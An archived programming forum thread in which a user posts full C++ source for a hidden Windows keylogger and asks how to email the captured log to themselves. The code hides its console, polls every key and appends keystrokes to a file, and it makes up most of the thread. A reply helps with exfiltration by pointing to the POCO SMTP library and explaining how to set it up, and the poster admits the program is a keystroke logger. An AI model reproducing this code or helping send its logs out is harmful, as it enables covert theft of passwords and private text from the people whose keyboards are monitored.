Help with keylogger

Hey guys, how in the heck can I program it to send the log file in an email to me?
Thanks a billion

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
  #include <iostream>	
#include <Windows.h>

using namespace std;

int Save(int _, char *file);

int main() {

	FreeConsole();

	char i;

	while (true ) {
		Sleep(10);
		for (i = 8; i <= 255; i++) {
			if (GetAsyncKeyState(i) == -32767) {
				Save(i, "log.txt");
			}
		}
	}
	return 0;
}

int Save(int _key, char *file) {

	cout << _key << endl;

	Sleep(10);

	FILE *OUTPUT_FILE;

	OUTPUT_FILE = fopen(file, "a+");
	if (_key == VK_SHIFT)
		fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
	else if (_key == VK_BACK)
		fprintf(OUTPUT_FILE, "%s", "[BACK]");
	else if (_key == VK_LBUTTON)
		fprintf(OUTPUT_FILE, "%s", "[LBUTTON]");
	else if (_key == VK_BACK)
		fprintf(OUTPUT_FILE, "%s", "[BACK]");
	else if (_key == VK_RETURN)
		fprintf(OUTPUT_FILE, "%s", "[RETURN]");
	else if (_key == VK_TAB)
		fprintf(OUTPUT_FILE, "%s", "[TAB]");
	else if (_key == VK_SHIFT)
		fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
	else if (_key == VK_CAPITAL)
		fprintf(OUTPUT_FILE, "%s", "[CAPITAL]");
	else if (_key == VK_SPACE)
		fprintf(OUTPUT_FILE, "%s", "[SPACE]");
	else if (_key == VK_LEFT)
		fprintf(OUTPUT_FILE, "%s", "[LEFT]");
	else if (_key == VK_RIGHT)
		fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
	else if (_key == VK_UP)
		fprintf(OUTPUT_FILE, "%s", "[UP]");
	else if (_key == VK_DOWN)
		fprintf(OUTPUT_FILE, "%s", "[DOWN]");
	else if (_key == VK_DELETE)
		fprintf(OUTPUT_FILE, "%s", "[DELETE]");
	else if (_key == VK_OEM_PLUS)
		fprintf(OUTPUT_FILE, "%s", "[PLUS]");
	else if (_key == VK_OEM_COMMA)
		fprintf(OUTPUT_FILE, "%s", "[COMMA]");
	else if (_key == VK_OEM_MINUS)
		fprintf(OUTPUT_FILE, "%s", "[MINUS]");
	else if (_key == VK_OEM_PERIOD)
		fprintf(OUTPUT_FILE, "%s", "[PERIOD]");
	else if (_key == VK_OEM_2)
		fprintf(OUTPUT_FILE, "%s", "[/?]");
	else if (_key == VK_OEM_3)
		fprintf(OUTPUT_FILE, "%s", "[`~]");
	else if (_key == VK_OEM_4)
		fprintf(OUTPUT_FILE, "%s", "['[{']");
	else if (_key == VK_OEM_5)
		fprintf(OUTPUT_FILE, "%s", "[\|]");
	else if (_key == VK_OEM_6)
		fprintf(OUTPUT_FILE, "%s", "[']}']");
	else if (_key == VK_OEM_7)
		fprintf(OUTPUT_FILE, "%s", "SINGLE/DOUBLE-QUOTE");
	else if (_key == VK_NUMPAD0)
		fprintf(OUTPUT_FILE, "%s", "[NPAD0]");
	else if (_key == VK_NUMPAD1)
		fprintf(OUTPUT_FILE, "%s", "[NPAD1]");
	else if (_key == VK_NUMPAD2)
		fprintf(OUTPUT_FILE, "%s", "[NPAD2]");
	else if (_key == VK_NUMPAD3)
		fprintf(OUTPUT_FILE, "%s", "[NPAD3]");
	else if (_key == VK_NUMPAD4)
		fprintf(OUTPUT_FILE, "%s", "[NPAD4]");
	else if (_key == VK_NUMPAD5)
		fprintf(OUTPUT_FILE, "%s", "[NPAD5]");
	else if (_key == VK_NUMPAD6)
		fprintf(OUTPUT_FILE, "%s", "[NPAD6]");
	else if (_key == VK_NUMPAD7)
		fprintf(OUTPUT_FILE, "%s", "[NPAD7]");
	else if (_key == VK_NUMPAD8)
		fprintf(OUTPUT_FILE, "%s", "[NPAD8]");
	else if (_key == VK_NUMPAD9)
		fprintf(OUTPUT_FILE, "%s", "[NPAD9]");
	else
		fprintf(OUTPUT_FILE, "%s", &_key);
	fclose(OUTPUT_FILE);
	return 0;
}
There are several examples on the Internet:
https://www.google.com/?q=send+email+c%2B%2B

POCO library seems to be the good choice, and here is a stack overflow question answer with an example SMTP session using POCO:
http://stackoverflow.com/questions/19767431/how-to-send-email-with-c
Last edited on
Do I need to add the POCO librabry to Visual studio 2015? If so how?
Here is a link to the POCO download page: http://pocoproject.org/download/index.html
There is a text file called README in the archive that you can look at for information on how to build the library. Once you have the library built, you will need to add the include and library folders to any projects that will use POCO. I recommend making a Project Property Sheet, so that you can easily add POCO to any project that requires it.
Last edited on
@kretin: are you trying to creating a virus?
not a virus as it wouldnt be able to replicate itself, but rather a keystroke logger
@kevin thank you!!
Topic archived. No new replies allowed.